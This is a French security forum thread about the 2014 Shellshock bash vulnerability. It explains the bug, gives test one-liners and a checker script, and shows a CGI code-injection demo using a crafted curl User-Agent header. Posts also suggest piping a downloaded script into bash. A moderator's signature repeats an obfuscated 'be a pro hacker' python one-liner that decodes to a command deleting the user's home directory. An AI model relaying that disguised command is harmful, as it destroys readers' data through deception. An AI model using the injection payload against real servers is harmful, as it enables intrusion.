Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 27-09-2014 15:52:02

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Shellschock : exécution arbitraire de code via bug bash

1411818989.png

Shellschock, le bug bash de la rentrée

  Tout d'abord félicitons et remercions Stéphane Chazelas qui a mis à jour ce bug se situant au niveau de la déclaration de variables avec bash.
   L'interprète de commande des systèmes fondés sur UNIX ( MacOS, Linux - ce qui veut dire téléphones, ordinateurs, serveurs, routeurs, caméras - ) exécutait le code placé après une fonction vide mise dans la définition d'une variable.

Bash Environment Variable Command Execution


  Des patchs ont été publié depuis et une nouvelle version de bash vient de sortir.
  Pour immuniser votre système il vous suffit d'actualiser votre distribution GNU-Linux

sudo apet-get update && sudo apt-get upgrade

  Vous pouvez vérifier le bug avec cette ligne de commande

 env x='() { :;}; echo vulnerable' bash -c "echo this is a test" 

  Ou le code "echo vulnerable" s'exécute ( donc vous aller voir en console "vulnerable" ) et l'injection est possible; ou bien vous obtenez une erreur et le code ne s'exécute pas ( le comportement attendu face à telle syntaxe )

  Signalons au passage le script sympathique de notre ami Coyotus ( en bash, comme de bien entendu big_smile ) publié hier sur kali-linux.fr ( Une faille dans bash a été découverte ) nommé shellshock-cheker

#!/bin/bash
# Original shellshock-cheker script (C) by coyotus
# Under licence GPLv3 http://www.gnu.org/licenses/gpl.txt

red='\e[0;31m'
green='\e[0;32m'
NC='\e[0m'

if env x='() { :;}; echo vulnerable' bash -c "echo -n" | grep vulnerable > /dev/null 2>&1 ; then
      echo -e "[$red*$NC] Your system is$red vulnerable $NC"
      zenity --error --text "Your system is <span color=\"red\">vulnerable</span>"
else
      echo -e "[$green*$NC] Your system is$red secure $NC"
      zenity --info --text "Your system is <span color=\"green\">secure</span>"
fi

Comme je vous le disais, un système mis à jour est protégé :

1411749390.png


Shellschock, comment ça marche?

Comment pouvait on rendre notre bash chèvre?
En déclarant une fonction bizarre dans une variable.

Variable :
  Ceci est une variable bash
   

VAR=Bonjour!

  Une variable se définit sur une ligne
  A partir de maintenant lorsque j'invoquerai dans mon code "$VAR" j'invoquerai la variable VAR
Son contenu, sa valeur sera "Bonjour!"
  Si j'utilise echo ( ordre qui permet d'écrire en console le contenue d'une variable ) j'obtiens le contenue de ma variable en console

[email protected]:~$ VAR=Bonjour!
[email protected]:~$ echo $VAR
Bonjour!
[email protected]:~$ 

Fonction :
  Ceci est une fonction bash
 

FONCTION (){
echo "Une fonction regroupe plusieur lignes de code qui s'éxécutent"
echo "Nous allons écrie avec echo le contenu de VAR"
echo "$VAR"
}

  Une fonction peut regrouper plusieurs lignes de code que nous pourrons exécuter dans notre code principal
  C'est en quelque sorte un script dans le script permettant d’exécuter des processus complexes prédéfinis lorsque nous les invoquons
  Dans le cas présent la fonction va exécuter plusieurs lignes d'ordres "echo" car nmous allons définir la fonction puis l'appeler

[email protected]:~$ VAR=Bonjour!
[email protected]:~$ echo $VAR
Bonjour!

[email protected]:~$ [email protected]:~$ FONCTION () {
> echo "Une fonction regroupe plusieurs lignes de code qui s’exécutent"
> echo "Nous allons écrie ce texte avec echo ainsi que le contenu de VAR"
> echo "$VAR" 
> }
[email protected]:~$ FONCTION
Une fonction regroupe plusieurs lignes de code qui s’exécutent
Nous allons écrie ce texte avec echo ainsi que le contenu de VAR
Bonjour!
[email protected]:~$ 

  Vous pouvez déclarer des variables dans des fonctions, c'est quelque chose d'habituel  et de logique,  certaines variables n'ont pas de raisons d'être si la fonction n'est pas activée.
Jusqu'ici tout va bien....
  ...mais normalement,  on ne déclare pas de fonction dans des variables...
     ... c'est une idée tarabiscotée et ce n'est sûrement pas le chemin à suivre pour écrire des codes élégants et efficaces.
Une variable c'est une variable et ça sert à définir une valeur.
Une fonction c'est une fonction et ça sert à exécuter des bouts de codes.

Déclarer une fonction dan une variable est un non sens conceptuel.
Mais nous le savons, ce sont souvent ces non-sens qui alimentent l’âme du hacker et qui génèrent des comportements erratiques des systèmes.
 
  Voici le truc qui tient en quelques caractères ascii et qui menacerait le monde si on en croit ce que clament ci et là ( à tord même si les possibilités qu'offrent le bug avec la possibilité d'injecter du code bash ést fort intéressantes et propices à la création de moultes exploits exotiques et redoutables  )

 

VAR=() {:;}; + code malicieux à exécuter

Nous déclarons notre variable, VAR=
Et là nous lui donnons pour valeur à notre variable une fonction "vide" sans la nommer
() {:;};

Logiquement la variable n'aurait pas du être acceptée et ce n'est plus le cas
Logiquement la fonction illégitime n'aurait pas du s’exécuter et ni la fonction ni la variable n'aurait pu être invoquées ( la fonction n'a pas de nom et il faut appeler la variable par la suite pour la faire jouer )

Mais bon, les faits sont là.
En ouvrant la fonction dans la déclaration de variable, bash, au lieu de s'arrêter, continuait à chercher du code et l'exécute... tongue
Le monde est fou! big_smile

Simple, un code inséré après VAR=() {:;}; s'éxécute(ait)...
Ce qui rend le bug dangereux c'est le fait que bash est souvent invoqué par d'autres programmes.
Un des principaux vecteurs d'infection mis en avant sont les requêtes HTTP en utilisant des scripts CGI.

Regardons de plus près cet exemple pratique et concret
Dans ce cas le système victime dispose d'un serveur apache avec des scritps cgi

[[email protected] cgi-bin]# rm -fr /tmp/aa

On efface un éventuel dossier tmp/aa avec la commande rm car le code injecté va créer ce dossier


[[email protected] cgi-bin]# cat /var/www/cgi-bin/hi
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "hai"

On voit le contenu du script cgi-bin/hi
Sa seule fonction est d'écrire "hai"
le script va nous servir en quelque sorte de cheval de troie, c'est lui que nous allons invoquer pour exécuter notre code facétieux 


[[email protected] cgi-bin]# curl -k -H 'User-Agent: () { :;}; echo aa>/tmp/aa'  https://localhost/cgi-bin/hi
hai

avec curl nous invoquons le script cgi-bin et celui-ci s'exécute normalement, nous obtenons "hai" en console
Oui mais voilà, vous voyez bien que dans notre requête nous avons glissé du code après User-Agent : () { :;}; echo aa>/tmp/aa
soit le code du bug () { :;}; pour éxécuter cette séquence bash echo aa>/tmp/aa qui va créer le fichier aa dans le dossier tmp , ficher que nous venons d'effacer pour êre sûr de l'efficacité de "lexploit"

[[email protected] cgi-bin]#  tail -n1 /var/log/httpd/ssl_access_log
::1 - - [24/Sep/2014:18:22:05 +0200] "GET /cgi-bin/hi HTTP/1.1" 200 4 "-" "() { :;}; echo aa>/tmp/aa"

Nous voyons le log de notre action dans le fichier ssl_access_log avec notre bout de code

[[email protected] cgi-bin]#  ls -l /tmp/aa
-rw-r--r--. 1 apache apache 3 24 sept. 18:22 /tmp/aa

Patatpoum, le code a été injecté et exécuté...
Comme vous pouvez le voir nous avons un dossier tmp/aa/ avec droits de lecture et écriture pour l'administrateur

Pour plus de détails sur notre petit exemple pratique je vous invite à suivre ce fil de discussion: CVE-2014-6271 : Remote code execution through bash


Quels sont donc les dangers qui nous menacent ?
Bon, la possibilité d’injecter du code ne signifie que pas que cela soit possible sur votre système...
...Le problème concerne plus directement et expressément les administrateurs de réseaux et les professionnels que l'utilisateur lambda moyen.
C'est bien évidemment une belle corde de plus à l'arc d'un éventuel intru sur des systèmes non mis à jours ou déjà corrompus.



Plusieurs exploits ont été publié depuis hier, celui-ci c'est aussi en utilisant un module cgi d'apache
Apache mod_cgi Bash Environment Variable Code Injection


Celui-ci utilise les options HOSTNAME, DOMIANNAME et URL DHCPD pour exécuter le code
DHCP Client Bash Environment Variable Code Injection

Bon, au lieu de nous alarmer méditons sur la poésie du moment,

() { :;}; 

Sur tes serveurs vieux et croûtés
Sur les dépôts git de ta mémé
Sur ton unbuntu jamais actualisé ( gros feignant )
J'écris ton nom

N'oubliez pas d'actualiser votre système...
--Et si vous êtes inspirés n'hésitez pas à présenter ici vos petits exploits wink

PS : Spawn à ouvert un thème pour que nous testions ensemble la fiabilité de nos routeurs : shellshock et routeurs locaux smile

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 27-09-2014 17:32:02

coyotus
Membre Irremplaçable
Lieu : fort fort lointain
Inscription : 05-08-2010
Messages : 884

Re : Shellschock : exécution arbitraire de code via bug bash

J'ai découvert grâce à quelqu'un une variante  ShellShock 2 ou CVE-2014-7169

env x='() { (a)=>\' bash -c "echo echo vuln"; [[ "$(cat echo)" == "vuln" ]] && echo "Toujours vulnerable"

Source: http://www.ikoula-blog.com/faille_bash

Je suis content que tu trouve mon petit code sympatique smile

Dernière modification par coyotus (04-10-2014 10:40:46)


1310812721.gif

Hors Ligne

#3 28-09-2014 11:12:33

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 007

Re : Shellschock : exécution arbitraire de code via bug bash

Merci pour shellshock 2 smile


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#4 28-09-2014 16:15:03

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Shellschock : exécution arbitraire de code via bug bash

() { (a)=>\

Nice cool

Merci pour l'info coyotus. smile

Hors Ligne

#5 28-09-2014 16:57:17

Anthonyy59
Membre V.I.P.
Inscription : 03-09-2012
Messages : 277

Re : Shellschock : exécution arbitraire de code via bug bash

Merci à vous Kcdtv et Coyotus ! Super intéressant le petit tuto sur le fonctionnement

En espérant qu'un patch sorte sur mac car je ne fais pas confiance aux dires d'Apple qui disent que les Mac ne sont pas vulnérables si nous n'avons jamais utilisé de logiciels réseaux !

Hors Ligne

#6 04-10-2014 10:37:05

coyotus
Membre Irremplaçable
Lieu : fort fort lointain
Inscription : 05-08-2010
Messages : 884

Re : Shellschock : exécution arbitraire de code via bug bash

J'ai modifié mon code pour prendre en compte shelshock2

Voici le nouveau code:

#!/bin/bash
# Shellshock Vulnerability Tester Script
# Original shellshock-cheker script (C) by coyotus
# Under licence GPLv3 http://www.gnu.org/licenses/gpl.txt
# optional required "zenity"

echo '''
       .__           .__  .__         .__                   __                    .__                   __                 
  _____|  |__   ____ |  | |  |   _____|  |__   ____   ____ |  | __           ____ |  |__   ____   ____ |  | __ ___________ 
 /  ___/  |  \_/ __ \|  | |  |  /  ___/  |  \ /  _ \_/ ___\|  |/ /  ______ _/ ___\|  |  \_/ __ \_/ ___\|  |/ // __ \_  __ \
 \___ \|   Y  \  ___/|  |_|  |__\___ \|   Y  (  <_> )  \___|    <  /_____/ \  \___|   Y  \  ___/\  \___|    <\  ___/|  | \/
/____  >___|  /\___  >____/____/____  >___|  /\____/ \___  >__|_ \          \___  >___|  /\___  >\___  >__|_ \\___  >__|   
     \/     \/     \/               \/     \/            \/     \/              \/     \/     \/     \/     \/    \/   
''' 

red='\e[0;31m'
green='\e[0;32m'
NC='\e[0m'

if env x='() { :;}; echo vulnerable' bash -c "echo -n" | grep vulnerable > /dev/null 2>&1 ; then
      echo -e "[$red*$NC] Your system is$red vulnerable $NC"
      zenity --error --text "Your system is <span color=\"red\">vulnerable</span>
 <a href='https://access.redhat.com/security/cve/CVE-2014-6271' > Information</a>"
elif $(env x='() { (a)=>\' bash -c "echo echo vuln"; [[ "$(cat echo)" == "vuln" ]] && echo "Toujours vulnerable") | grep vulnerable ; then
      echo -e "[$red*$NC] Your system is$red vulnerable $NC"
      zenity --error --text "Your system is <span color=\"red\">vulnerable</span>
 <a href='https://access.redhat.com/security/cve/CVE-2014-7169' > Information</a>"
else
      echo -e "[$green*$NC] Your system is$green secure $NC"
      zenity --info --text "Your system is <span color=\"green\">secure</span>"
fi

Pour télécharger le fichier utilisez ce lien shellshock-checker

Vous pouvez tester directement en téléchargent avec cette ligne de commande:

wget http://www.coyotus.com/repo/script/shellshock-checker && chmod +x shellshock-checker && bash shellshock-checker

Pour tester sans télécharger:

curl http://www.coyotus.com/repo/script/shellshock-checker | bash

Si zenity est disponible voici ce qui devrait s'afficher

1411747406_capture_d_ecran_-_26092014_-_17_59_04.png 1411747439_capture_d_ecran_-_26092014_-_17_59_47.png

Pour corriger la faille, mettez simplement votre système à jour.

1411750206_capture_d_ecran_-_26092014_-_18_48_06.png

http://www.shellshock.fr/
http://seclists.org/oss-sec/2014/q3/649
https://access.redhat.com/security/cve/CVE-2014-6271
http://www.ikoula-blog.com/faille_bash

Dernière modification par coyotus (04-10-2014 10:37:59)


1310812721.gif

Hors Ligne

#7 04-10-2014 10:58:43

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 007

Re : Shellschock : exécution arbitraire de code via bug bash

yolo je lance des scripts pipés depuis internet big_smile


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#8 04-10-2014 11:44:49

koala
Membre d'honneur
Lieu : In the sky
Inscription : 03-09-2010
Messages : 2 316

Re : Shellschock : exécution arbitraire de code via bug bash

Good job my friend cool

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
106 2209 28-11-2016 19:42:10 par koala
9 455 08-07-2016 08:33:15 par MiscL
4 2504 19-04-2016 19:04:54 par 2tlopez51
Épinglée :
Épinglée :: Code promo Wifi-highpower.com par M1ck3y  [ 1 2 ]
33 10367 26-11-2015 18:51:44 par M1ck3y
2 929 16-07-2015 16:55:14 par Avmaktslave

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.031 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]